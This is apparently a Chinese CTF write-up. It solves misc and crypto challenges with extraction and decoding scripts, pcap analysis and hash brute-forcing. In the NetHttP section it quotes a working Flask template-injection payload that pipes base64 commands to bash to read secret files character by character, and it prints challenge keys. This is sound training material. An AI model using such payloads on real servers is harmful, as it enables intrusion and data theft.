Misc

See anything in these pics?

题目内容:

TBH THERE ARE SO MANY PICS NOT ONLY JUST 2 PIC

附件下载 提取码(GAME)备用下载

附件是一张png图片Aztec.png和一个加密的zip压缩包YVL.zip

2024cqgames2-1

根据图片特征以及它的名字可以知道这是Aztec条码,找个免费的在线扫码网站扫一下得到了5FIVE

2024cqgames2-2

5FIVE成功解开压缩包,得到一张jpg图片YVL.png

2024cqgames2-3

把图片丢到随波逐流,发现藏了东西,foremost提取出了一张黑色的png图片,再丢回随波逐流发现图片宽度和高度被修改过,可能存在隐写,恢复后得到图片

2024cqgames2-4

flag
flag{opium_00pium}

简单算术

题目内容:

想想异或

附件下载 提取码(GAME)备用下载

附件的内容是ys~xdg/m@]mjkz@vl@z~lf>b,根据提示可以知道要对明文进行简单的异或解密操作

python
cipher_text = "ys~xdg/m@]mjkz@vl@z~lf>b"for key in range(256):    plain_text = ''.join([chr(ord(c) ^ key) for c in cipher_text])    if "flag" in plain_text:        print(plain_text)

写个脚本就能得到flag了

flag
flag{x0r_Brute_is_easy!}

简单镜像提取

题目内容:

RR_studio

附件下载 提取码(GAME)备用下载

附件是data.pcapng,丢到随波逐流就发现文件头不对了

接着用foremost提取出一个压缩包,解压得到disk-recovery.img,再次丢到随波逐流就发现文件头不对

还是用foremost提取,这次发现提取出了一个Excel文档

2024cqgames2-5

flag
flag{E7A10C15E26AA5750070EF756AAA1F7C}

压力大,写个脚本吧

题目内容:

爆破

附件下载 提取码(GAME)备用下载

附件是一个带密码的zip压缩包zip_99.zip和一个txt文档password_99.txt,文档的内容是RkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZH

先试了一下发现不是伪加密,然后直接拿文档的内容作为密码也失败了,接着我还试了下重复的片段RkdGR0ZH发现也不对

没试出来我就看了下里面的文档的CRC校验值竟然和外面这个是一样的

2024cqgames2-6

又联想到题目的“爆破”,我就天真地以为是明文爆破,结果就是爆破了六个小时😡

2024cqgames2-7

后来才发现不对劲,把RkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZHRkdGR0ZH用base64解码的结果当作密钥试了下就解开了😭

解开了发现是层层嵌套的,并且每一层的压缩包的密码就是和压缩包放在一起那个txt文档里的内容用base64解码后的结果,写个脚本就搞定了(压缩包后面没用就先删掉了,txt还有用就先留着不删)

python
import zipfileimport osimport base64 # 设置初始参数folder_path = r'E:\Downloads\zip_100' # 这里改成实际的地址 def get_password_from_txt(password_filename):    if not os.path.exists(password_filename):        print(f"警告: 密码文件 {password_filename} 不存在。")        return None        with open(password_filename, 'r') as file:        encoded_password = file.read().strip()        try:        # Base64解码        password = base64.b64decode(encoded_password).decode('utf-8')        return password    except Exception as e:        print(f"错误: 解码密码时出错 - {e}")        return None def unzip_and_cleanup(zip_path, folder_path):    zip_filename = os.path.basename(zip_path)    password_num = zip_filename.split('.')[0].split('_')[1]  # 提取数字部分如'99'    password_filename = os.path.join(folder_path, f"password_{password_num}.txt")        password = get_password_from_txt(password_filename)        if password is None:        return False        try:        with zipfile.ZipFile(zip_path, 'r') as zip_ref:            # 尝试使用给定的密码解压            zip_ref.extractall(path=folder_path, pwd=password.encode())            print(f"成功解压: {zip_filename}")            return True    except RuntimeError as e:        print(f"解压失败: {zip_filename} - 错误信息: {e}")        return False def process_nested_zips(folder_path, start_num):    current_num = start_num        while True:        zip_filename = f"zip_{current_num}.zip"        full_zip_path = os.path.join(folder_path, zip_filename)                # 检查文件是否存在        if not os.path.exists(full_zip_path):            print(f"文件 {zip_filename} 不存在,停止解压。")            break                if unzip_and_cleanup(full_zip_path, folder_path):            # 清理工作:删除原始ZIP文件和对应的TXT文件            password_filename = f"password_{current_num}.txt"            password_full_path = os.path.join(folder_path, password_filename)                        # 删除文件            os.remove(full_zip_path)            # if os.path.exists(password_full_path):            #     os.remove(password_full_path)                        print(f"已删除: {zip_filename}{password_filename}")                        # 继续处理下一个层级            next_zip_filename = f"zip_{current_num - 1}.zip"            next_full_zip_path = os.path.join(folder_path, next_zip_filename)            if os.path.exists(next_full_zip_path):                current_num -= 1                continue            else:                print("没有更多层级的压缩包了,解压完成。")                break        else:            print("解压过程中出现问题,停止进一步操作。")            break # 解压缩process_nested_zips(folder_path, 99)

解压到最后发现最后一层是flag-hint.txt,内容是PASSWORD+PASSWORD.png

根据最后一层的解压密码89504E470D0A1A0A0000000D494844520000019000000190不难看出这题是要把这些密码按顺序拼起来凑出一个png图片(png的文件头是89 50 4e 47 0d 0a 1a 0a

于是在上面代码的基础上加上下面的代码,把字符串拼起来拼凑出一张png图片

python
# 根据提示把密码文件解码得到的字符串拼接起来并传换成png图片def concatenate_base64_decoded_from_txt_files(folder_path, start_num, end_num):    decoded_string = ''        for num in range(start_num, end_num + 1):        password_filename = os.path.join(folder_path, f"password_{num}.txt")                if not os.path.exists(password_filename):            print(f"警告: 密码文件 {password_filename} 不存在")            continue                with open(password_filename, 'r') as file:            encoded_password = file.read().strip()                try:            # Base64解码            decoded_data = base64.b64decode(encoded_password)            # 将解码后的二进制数据转换为字符串并拼接            decoded_string += decoded_data.decode(errors='replace')        except Exception as e:            print(f"错误: 解码 {password_filename} 时出错 - {e}")        return decoded_string # 获取所有密码并解码为字符串hex_string = concatenate_base64_decoded_from_txt_files(folder_path, 0, 99) # 如果字符串以 'FG' 结尾,则移除 'FG'while hex_string.endswith('FG'):    hex_string = hex_string[:-2] # 将十六进制字符串转换为字节对象try:    byte_data = bytes.fromhex(hex_string)except ValueError as e:    print(f"Error converting hex to bytes: {e}")    exit(1) # 指定输出文件名output_filename = os.path.join(folder_path, "output_image.png") # 写入二进制数据到文件with open(output_filename, 'wb') as image_file:    image_file.write(byte_data)

完整代码如下

python
import zipfileimport osimport base64 # 设置初始参数folder_path = r'E:\Downloads\zip_100' def get_password_from_txt(password_filename):    if not os.path.exists(password_filename):        print(f"警告: 密码文件 {password_filename} 不存在")        return None        with open(password_filename, 'r') as file:        encoded_password = file.read().strip()        try:        # Base64解码        password = base64.b64decode(encoded_password).decode('utf-8')        return password    except Exception as e:        print(f"错误: 解码密码时出错 - {e}")        return None def unzip_and_cleanup(zip_path, folder_path):    zip_filename = os.path.basename(zip_path)    password_num = zip_filename.split('.')[0].split('_')[1]  # 提取数字部分    password_filename = os.path.join(folder_path, f"password_{password_num}.txt")        password = get_password_from_txt(password_filename)        if password is None:        return False        try:        with zipfile.ZipFile(zip_path, 'r') as zip_ref:            # 尝试使用给定的密码解压            zip_ref.extractall(path=folder_path, pwd=password.encode())            return True    except RuntimeError as e:        print(f"解压失败: {zip_filename} - 错误信息: {e}")        return False def process_nested_zips(folder_path, start_num):    current_num = start_num        while True:        zip_filename = f"zip_{current_num}.zip"        full_zip_path = os.path.join(folder_path, zip_filename)                # 检查文件是否存在        if not os.path.exists(full_zip_path):            print(f"文件 {zip_filename} 不存在,停止解压")            break                if unzip_and_cleanup(full_zip_path, folder_path):            # 清理工作:删除原始ZIP文件和对应的TXT文件            password_filename = f"password_{current_num}.txt"            password_full_path = os.path.join(folder_path, password_filename)                        # 删除文件            os.remove(full_zip_path)            # if os.path.exists(password_full_path):            #     os.remove(password_full_path)                        # 继续处理下一个层级            next_zip_filename = f"zip_{current_num - 1}.zip"            next_full_zip_path = os.path.join(folder_path, next_zip_filename)            if os.path.exists(next_full_zip_path):                current_num -= 1                continue            else:                break        else:            print("解压过程中出现问题,停止进一步操作")            break # 解压缩process_nested_zips(folder_path, 99) # 根据提示把密码文件解码得到的字符串拼接起来并传换成png图片def concatenate_base64_decoded_from_txt_files(folder_path, start_num, end_num):    decoded_string = ''        for num in range(start_num, end_num + 1):        password_filename = os.path.join(folder_path, f"password_{num}.txt")                if not os.path.exists(password_filename):            print(f"警告: 密码文件 {password_filename} 不存在")            continue                with open(password_filename, 'r') as file:            encoded_password = file.read().strip()                try:            # Base64解码            decoded_data = base64.b64decode(encoded_password)            # 将解码后的二进制数据转换为字符串并拼接            decoded_string += decoded_data.decode(errors='replace')        except Exception as e:            print(f"错误: 解码 {password_filename} 时出错 - {e}")        return decoded_string # 获取所有密码并解码为字符串hex_string = concatenate_base64_decoded_from_txt_files(folder_path, 0, 99) # 如果字符串以 'FG' 结尾,则移除 'FG'while hex_string.endswith('FG'):    hex_string = hex_string[:-2] # 将十六进制字符串转换为字节对象try:    byte_data = bytes.fromhex(hex_string)except ValueError as e:    print(f"Error converting hex to bytes: {e}")    exit(1) # 指定输出文件名output_filename = os.path.join(folder_path, "output_image.png") # 写入二进制数据到文件with open(output_filename, 'wb') as image_file:    image_file.write(byte_data)

得到的图片是一张二维码,扫码就能得到flag了

2024cqgames2-8

flag
flag{_PASSWORDs_is_fl@g!_}

NetHttP

题目内容:

在凌晨一两点,公司内网有一台私人服务器被入侵,攻击者非常挑衅的留下了明显的痕迹。

附件下载 提取码(GAME)备用下载

附件是NetHttP.pcapng,那就先用wireshark打开分析一下,随便滑了两下就发现了这个(确实明显)

2024cqgames2-9

GET /rce?name=%7B%7Blipsum.__globals__.__builtins__.eval(%22__import__('os').popen('echo%20aWYgWyAkKGNhdCAvYXBwL3NlY3JldC9tdy9tNXxiYXNlNjQgLXcgMHwgYXdrIE5SPT0xIHwgY3V0IC1jIDEpID09ICdTJyBdOyB0aGVuIGVjaG8gInJjZSI7Zmk=%20%7C%20base64%20这条恶意代码里面夹杂着一段base64编码后的字符串aWYgWyAkKGNhdCAvYXBwL3NlY3JldC9tdy9tNXxiYXNlNjQgLXcgMHwgYXdrIE5SPT0xIHwgY3V0IC1jIDEpID09ICdTJyBdOyB0aGVuIGVjaG8gInJjZSI7Zmk=,解码得到if [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 1) == 'S' ]; then echo "rce";fi

这段脚本的意思是,如果文件 /app/secret/mw/m5 的内容被base64编码后第一个字符是大写的 'S',那么就输出 "rce"。因此,只需要找查找包含rce的结果就能根据它对应的链接判断出这个文件经过bese64编码后某个位置所对应的字符,进而可以解出这个文件。

2024cqgames2-10

发现这样的记录都是12字节的

2024cqgames2-11

根据这点筛选一下http.response && http.content_length == 12就可以得到全部的结果了

2024cqgames2-12

全选保存到txt文档里

2024cqgames2-13

然后写个脚本把帧号提取出来

python
with open('log.txt', 'r') as file:    lines = file.readlines() with open('frame_numbers.txt', 'w') as file:    for line in lines:        frame_number = line.split()[0]        file.write(frame_number + '\n')

这样就得到了

text
2431124461258902684927760...

丢给ai帮我写了一个power shell脚本,从特定帧号对应的HTTP响应中提取出准确的GET请求行,并且只输出完整的GET请求行而不包括其他头部信息

powershell
# FindHttpRequests.ps1 # 定义捕获文件路径(这里填附件的地址)$CAPTURE_FILE = 'NetHttP.pcapng' # 定义包含响应帧号的文件路径(这里填帧号的地址)$FRAME_NUMBERS_FILE = 'frame_numbers.txt' # 读取响应帧号列表try {    $frameNumbers = Get-Content -Path $FRAME_NUMBERS_FILE    Write-Output "Read frame numbers: $($frameNumbers -join ', ')"} catch {    Write-Error "Failed to read frame numbers from file: $_"    exit 1} # 检查是否读取到任何帧号if ($frameNumbers.Count -eq 0) {    Write-Error "No frame numbers found in the file."    exit 1} # 定义tshark路径(这里填tshark的地址)$TSHARK_PATH = 'tshark.exe' # 确保tshark存在if (-not (Test-Path $TSHARK_PATH)) {    Write-Error "tshark not found at path: $TSHARK_PATH"    exit 1} # 遍历每个帧号,查找对应的HTTP GET请求行foreach ($frameNumber in $frameNumbers) {    Write-Output "Processing frame number: ${frameNumber}"     # 获取响应包的TCP流标识符    try {        $streamIndex = & $TSHARK_PATH -r $CAPTURE_FILE -Y "frame.number == ${frameNumber}" -T fields -e tcp.stream | Out-String        $streamIndex = $streamIndex.Trim()        if ([string]::IsNullOrEmpty($streamIndex)) {            Write-Warning "No stream index found for frame number ${frameNumber}"            continue        }        Write-Output "Stream index: ${streamIndex}"    } catch {        Write-Error "Failed to get stream index for frame number ${frameNumber}: $_"        continue    }     # 查找属于同一TCP流的GET请求行    try {        # 使用tcp.stream过滤条件查找GET请求行,并提取完整请求行        $getRequestLine = & $TSHARK_PATH -r $CAPTURE_FILE -Y "tcp.stream eq ${streamIndex} && http.request.method == ""GET""" -T fields -e http.request.method -e http.request.uri -e http.request.version | Out-String        if (-not [string]::IsNullOrEmpty($getRequestLine.Trim())) {            Write-Output "Found GET request line(s) for frame number ${frameNumber}:"            $getRequestLines = $getRequestLine -split "`n"            foreach ($line in $getRequestLines) {                if ($line -match "\S") {  # 忽略空行                    # 构建完整的GET请求行                    $fields = $line.Split(' ')                    $fullRequestLine = "$($fields[0]) $($fields[1]) $($fields[2])"                    Write-Output $fullRequestLine                }            }        } else {            Write-Warning "No GET request line found in stream ${streamIndex}"        }    } catch {        Write-Error "Failed to find GET request line for frame number ${frameNumber}: $_"    }}

在power shell运行.\FindHttpRequests.ps1 > output.txt就可以得到所有符合条件的GET请求行的信息了,下面是输出结果的片段

text
Processing frame number: 239758Stream index: 17673Found GET request line(s) for frame number 239758:GET	/rce?name=%7B%7Blipsum.__globals__.__builtins__.eval(%22__import__('os').popen('echo%20aWYgWyAkKGNhdCAvZmxhZ3xiYXNlNjQgLXcgMHwgYXdrIE5SPT0xIHwgY3V0IC1jIDI0KSA9PSAnSycgXTsgdGhlbiBlY2hvICJyY2UiO2Zp%20%7C%20base64%20-d%7Cbash').read()%22)%7D%7D	HTTP/1.1

写个脚本提取一下

python
import reimport base64 filename = 'output.txt' # 文件路径 pattern = re.compile(r'echo%20([^%]+)%20') with open(filename, 'r', encoding='utf-16-le') as file:    for line in file:        matches = pattern.findall(line)         for match in matches:            decoded_bytes = base64.b64decode(match)            decoded_string = decoded_bytes.decode('utf-8')            print(decoded_string)

这时能提取出来下面两种命令,经过尝试发现/flag里面的是假的,所以保留/app/secret/mw/m5里面的

text
if [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 1) == 'U' ]; then echo "rce";fiif [ $(cat /flag|base64 -w 0| awk NR==1 | cut -c 1) == 'R' ]; then echo "rce";fi

根据这个再写一个脚本匹配并进行base64解码

python
logs = """if [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 232) == '=' ]; then echo "rce";fiif [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 231) == '=' ]; then echo "rce";fiif [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 230) == 'Q' ]; then echo "rce";fi...太长了下面省略"""import reimport base64pattern = r"'(.*?)'"matches = re.findall(pattern, logs)print(base64.b64decode(''.join(matches[::-1])).decode('utf-8'))

运行得到S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh00hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI=

到这里没什么头绪了,回去翻一下流量发现攻击者在最开始的时候拿到了源码

2024cqgames2-14

python
from flask import Flask,request,render_template_string,Response,session app = Flask(__name__)app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'@app.route("/")def index():    return open(__file__).read() @app.route("/rce",methods=["GET"])def rce():    data = request.args.get("name","Guest")    return render_template_string(f"Welcome {data}") if __name__ == "__main__":    app.run(host="0.0.0.0",port=8989,debug=False)

接着又拿到了加密过后的私钥,把他保存到encrypted_private.pem

2024cqgames2-15

text
-----BEGIN ENCRYPTED PRIVATE KEY-----MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggAMAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmFkTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1LlaOhnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3cs73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJoTj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9DkpBYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PEyTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0HT/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbtKbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmURqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfiDVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoTpDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPGqUVmlGScmkU=-----END ENCRYPTED PRIVATE KEY-----

查看源码拿到解密所需的短语gdkfksy05lx0nv8dl

运行命令openssl rsa -in encrypted_private.pem -out private.pem得到解密后的私钥private.pem

text
-----BEGIN PRIVATE KEY-----MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGAaxYIU7D5lIndIBLubRRywJZiAQ90QiRjuHAIsyyka69Wl1n9K4W9/hjNDeI5BP14oADSmOqLKmj8nw2wbk0mDZ0KbWfT3eCxttGoplMEoCqKizTMdHGe7MUaK9A2CKIHOsHQhkpAmwLcDzNrbLg9nx0hjPUDefqwCn1q7B/IQPMCAwEAAQKBgEQaQ/ttrpwfvUhbodQvT/dY7ET+XhJ+cAjo/y9r8bkmTmx853xZVwYVIbt1pouc46zmOQjVCOJU2GwS2aScXdkx8Fm1YQJqzbxcZ4oEA/f66E99560um3RRsa7DWKwNdIcU4wukyfgx5fILoiuE8ThjG23Vb3oDOzaIhyCrcO65AkEApZJjxmMk0AB8ZUkhIqw+2gD4N5SPisae+aFfLgLt14H4VwSZxl2kRs7yhZGl5spFlxdotym3YS/30aY3/+3GPQJBAKWSY8ZjJNAAfGVJISKsPtoA+DeUj4rGnvmhXy4C7deB+FcEmcZdpEbO8oWRpebKRZcXaLcpt2Ev99GmN//txu8CQQCf2DInBvQ1MyLlDbLFrJCJGsKHtg7WJWa5DQe8fetsUPeV2sUycpj0GzqbpL8Ljl+cvGbF3apCU3LmnZgWplDpAkB+i1EYqmPTWdu5adgacP0kj4Mmr7O5xC5y6kQdnX18rchJcam5843/1GGFdpkOuF/Rp8GP5CFU9V157Yl1YJ0fAkAvcGpACEWDgZPSO8jGVr6XoVtA0tW2JMX/nPoxI1soLG38Kwaqc/+bepMmRQ50dlvZUA4uufmTN3OWrL+BavU0-----END PRIVATE KEY-----

写个脚本解密一下

text
from base64 import b64decodefrom Crypto.PublicKey import RSAfrom Crypto.Util.number import long_to_bytes, inverse# 加载私钥with open('private.pem', 'rb') as f:    private_key = RSA.import_key(f.read())# 提取私钥参数n = private_key.ne = private_key.ed = private_key.dp = private_key.pq = private_key.q# 计算其他必要的参数dp = d % (p - 1)dq = d % (q - 1)qinv = inverse(q, p)# 解码Base64字符串base64_encoded_ciphertext = "S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh00hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI="encrypted_data = b64decode(base64_encoded_ciphertext)# 将加密数据转换为整数ciphertext_int = int.from_bytes(encrypted_data, byteorder='big')# 使用中国剩余定理(CRT)加速解密mp = pow(ciphertext_int, dp, p)mq = pow(ciphertext_int, dq, q)h = (qinv * (mp - mq)) % pplaintext_int = mq + h * q# 将解密后的整数转换回字节串plaintext = long_to_bytes(plaintext_int)# 解码为UTF-8字符串original_message = plaintext.decode('utf-8')print(original_message)

运行得到flag\{343907d2-35a3-4bfe-a5e1-5d6615157851\}

flag
flag{343907d2-35a3-4bfe-a5e1-5d6615157851}

Infinity

题目内容:

Infinity comes from the Latin word infinitas, meaning “without boundaries”.

附件下载 提取码(GAME)备用下载

题目提示:BASE58-Ripple、SM4-ECB

附件是一张png图片Infinity.png

2024cqgames2-16

binwalk提取出一个tar压缩包zMjiQdMYLHK.tar,这是个套娃压缩包,我一开始无聊手动解开了(大概130层左右吧)😂解到最后是一个txt文档SeCr3t.txt,内容是Inf1nityIsS0CoOL,题目提示了有SM4-ECB那么这个大概就是解密时要用到的Key了

接着注意到这些文件的名字长度都差不多,又想到题目提示BASE58-Ripple,就写个脚本把文件名给拼起来(这里的顺序要反转一下)

python
import osimport shutilfrom pathlib import Pathimport py7zr def extract_zip(archive_path, output_dir):    shutil.unpack_archive(str(archive_path), output_dir) def extract_tar(archive_path, output_dir):    shutil.unpack_archive(str(archive_path), output_dir) def extract_7z(archive_path, output_dir):    with py7zr.SevenZipFile(str(archive_path), mode='r') as z:        z.extractall(path=output_dir) def find_archives(directory):    return list(Path(directory).glob('*.zip')) + \           list(Path(directory).glob('*.7z')) + \           list(Path(directory).glob('*.tar')) def recursive_extract(file_path, archive_list):    archive_name = file_path.stem    archive_list.append(archive_name)     extract_to = file_path.parent / ('extracted_' + archive_name)    os.makedirs(extract_to, exist_ok=True)     try:        if file_path.suffix == '.zip':            extract_zip(file_path, extract_to)        elif file_path.suffix == '.7z':            extract_7z(file_path, extract_to)        elif file_path.suffix == '.tar':            extract_tar(file_path, extract_to)        else:            raise ValueError(f"Unsupported file format: {file_path}")         archives = find_archives(extract_to)        if archives:            next_archive = archives[0]            recursive_extract(next_archive, archive_list)    except Exception as e:        print(f"{file_path}提取失败: {e}")        raise if __name__ == '__main__':    start_file = Path('zMjiQdMYLHK.tar')  # 换成实际的文件路径    archive_history = []    recursive_extract(start_file, archive_history)    print(''.join(archive_history)) # 反转合并输出

运行得到

text
zMjiQdMYLHK6c69b2nqwz2iYMtivbWMUHxi9d6pw4mLYYHtMsKZ9wuXKbwk4at4AHjdRPuEdHCG4d3gR1bg5U8YNJNoFPxJCSQVq5yn3gHbKg6Avpr7Kpj8sDam3p4WHR3fifpgyMHpeAgVacz8HEJyvgfdCVcJepagGRB7EsL11wcuvyXwZGh3ot37xqstfWn6LHtXEbjV2pKJeHtrjrMMjCFDZRPg6RNirwd11zXsXaQaq9euJcvgotRUjpYRYWbKB6A25qtQiwA4Gf8QjfHDyccqkRVjtoMp8SvPf9cR3iiRvwKyEypi7FVfi2FwxdUw3wh8torJsdXXeVLKMdzgiE7geiPvFtfA9qEAsqV7vqk7JncqDHoEDPrsUByKTpvypAjmuQxyaNF9GU22MxYLDZDrbqGyaLQrhaqP5Kn26CC44egaMVpYJSN4irp67f4KLv9LpD3WSHqKgJAtGV7KtUQ3MjJ8duxA8CwuadryMdkuasrZXj3c9YDQ1Nf7LbXKvzAXye64M1JNNUks3yrzaPJoUjXqkveanCgLHqaXutHiQMside1jYU2mNuBpjTuZb4mTzKcoamcw6qD7PeWL7qGBeBzzEKG4G51Q43EF4125LwYQeAS721ji7e9M8Lmf8CU315v3unatngTkGLFUGkFuhAmvnvaaCKPS7M3J8XSjdh9ofRFpX8xHdTUBoQutbHXE8uYLFaibrg5ohzAbrhPjhSdH2Aei1X3ztdQPxH1rm2PHhm2qQazwAuJDk9LLg3csdtRiTXb1qmeYoUmudRWkTTgxUf6gd53ckZZj9BigJrG5jQfNQ9RfRAhDFBreFU1nLXdyXLnmiVtD6s7Gtb4qXVaLtuRCtFyNW5yu2zyqaSdpXLjfPQxB3vzvqCzeDjFyaUMKQS4NsfBNmiYfRK95ErWieUL24eL28UzqnH65fhevYKzvN461Hq43Pw8vDDMcJwy4tjLhtFCkLvj8YUoZaWDDTKgRvTPzrK8bzxbsbUMg1mxYTZdt3KH2s5nzUHP1xBE9E8fknBQ5d5ezC5sRwk412eEEhKv2qohJZ3gW8JGczKZVqh6ks9aXhxDgNyJMANRqmLYZakCKVjv5fqdJRsy2NXJcXSmsbmaxoECWzoAaQrY8BAVZHSVbmFb5JACanfgDv3ExPNmMNCdoe4rN4Wg8hX2BxrNFhP27NxFSHUx57o7LHre1NDheyJvG8jiE7i5xmse7EY5oq1fyCcNkB9bFiXj8rb1CMtbBWUdTP3QifiuAtYdNH1bYWx4YRfH3JPFGHfGRaYX5jHQz5upm9f1qtnyM32bYLCXotjV6FSFajeaEG3RG6tsVNBZD8scRnEHTaP8qM67cH9SzHC6sNeuMqn1nAWUWY4X2BW7EUjDg1xPsJvpzLrucbCqdBnN9XKvC9oW3fdLYY96nFQwYN4vUki

接下来拿到CyberChef去解密。需要注意的是,Base58-Ripple指的是Ripple网络中使用的Base58编码的一种特定实现或变种,Ripple使用了一套稍微不同的字符集作为其Base58编码的字母表,具体如下:

text
rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz

按照提示的顺序,先BASE58-Ripple,后SM4-ECB

2024cqgames2-17

拿到了一个Data Matrix条码

2024cqgames2-18

找个免费的在线扫码网站扫一下就拿到flag了

2024cqgames2-19

flag
flag{a72dd260-f64d-4116-ab50-b26b40d69883}

Crypto

通往哈希的旅程

题目内容:

在数字城,大家都是通过是通过数字电话进行的通信,常见是以188开头的11位纯血号码组成,亚历山大抵在一个特殊的地方截获一串特殊的字符串”ca12fd8250972ec363a16593356abb1f3cf3a16d”,通过查阅发现这个跟以前散落的国度有点相似,可能是去往哈希国度的。年轻程序员亚力山大抵对这个国度充满好奇,决定破译这个哈希值。在经过一段时间的摸索后,亚力山大抵凭借强大的编程实力成功破解,在输入对应字符串后瞬间被传送到一个奇幻的数据世界,同时亚力山大抵也开始了他的进修之路。(提交格式:flag{11位号码})

根据题意,开头3位数188已经知道了,那就只需要尝试后面的8位数

python
import hashlib # 给定的哈希值target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d" # 尝试所有的11位数for i in range(10**8):  # 从0到99999999 (总共1亿个可能性)    phone_number = f"188{i:08d}"  # 构建电话号码    hash_object = hashlib.sha1(phone_number.encode())    hex_dig = hash_object.hexdigest()        if hex_dig == target_hash:        print(f"Found match: {phone_number}") # Found match: 18876011645        break

1分钟左右就试出来了

flag
flag{18876011645}

你是小哈斯?

题目内容:

年轻黑客小符参加CTF大赛,他发现这个小哈斯文件的内容存在高度规律性,并且文件名中有隐藏信息,他成功找到了隐藏的信息,并破解了挑战。得意地说:“成功在于探索与质疑,碰撞是发现真相的关键!”

附件下载 提取码(GAME)备用下载

题目内容如下

text
356a192b7913b04c54574d18c28d46e6395428abda4b9237bacccdf19c0760cab7aec4a8359010b077de68daecd823babbb58edb1c8e14d7106e83bb1b6453892473a467d07372d45eb05abc2031647aac3478d69a3c81fa62e60f5c3696165a4e5e6ac4c1dfd96eea8cc2b62785275bca38ac261256e278902ba3cda1883801594b6e1b452790cc53948fdafe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f0ade7c2cf97f75d009975f4d720d1fa6c19f4897b6589fc6ab0dc82cf12099d1c2d40ab994e8410c3bc15c8aae3e4124dd409035f32ea2fd6835efc921606782c65e44cac7afbb90977d8b6f82140e7622ea1c649c82946aa6e479e1ffd321e4a318b1b0aff024fe4ab0fece4091de044c58c9ae4233383a58e6b3a414a1e090dfc6029add0f3555ccba127f4dc7c9ec434ed06502767136789763ec11d2c4b78efd86fb78a56a5145ed7739dcb00c78581c537595cb0bfd2977c761298d9624e4b4d4c72a39974a51e69892ab49df85c6230ccc57f8e1d1606caccc042dc4512fa3d391c5170cf3aa61e6a638f843427a81af3e591ac713f81ea1efe93dcf36157d8376516b9783fca517eecbd1d064da2d165310b197594a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241b60ba4b2daa4ed4d070fec06687e249e0e6f9ee45d1854cae891ec7b29161ccaf79a24b00c274bdaa7a81af3e591ac713f81ea1efe93dcf36157d837653a0acfad59379b3e050338bf9f23cfc172ee787042dc4512fa3d391c5170cf3aa61e6a638f84342a0f1490a20d0211c997b44bc357e1972deab8ae353a0acfad59379b3e050338bf9f23cfc172ee7874a0a19218e082a343a1b17e5333409af9d98f0f507c342be6e560e7f43842e2e21b774e61d85f04786f7e437faa5a7fce15d1ddcb9eaeaea377667b854fd1711209fb1c0781092374132c66e79e2241bc2b7df6201fdd3362399091f0a29550df3505b6a86f7e437faa5a7fce15d1ddcb9eaeaea377667b8a0f1490a20d0211c997b44bc357e1972deab8ae33c363836cf4e16666669a25da280a1865c2d28744a0a19218e082a343a1b17e5333409af9d98f0f554fd1711209fb1c0781092374132c66e79e2241b27d5482eebd075de44389774fce28c69f45c8a755c2dd944dde9e08881bef0894fe7b22a5c9c4b0613fbd79c3d390e5d6585a21e11ff5ec1970cff0c07c342be6e560e7f43842e2e21b774e61d85f047395df8f7c51f007019cb30201c49e884b46b92fa11f6ad8ec52a2984abaafd7c3b516503785c207284a516841ba77a5b4648de2cd0dfcb30ea46dbb47a38d8cbd20d9932ba948efaa364bb62651d5ad4e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98d1854cae891ec7b29161ccaf79a24b00c274bdaa6b0d3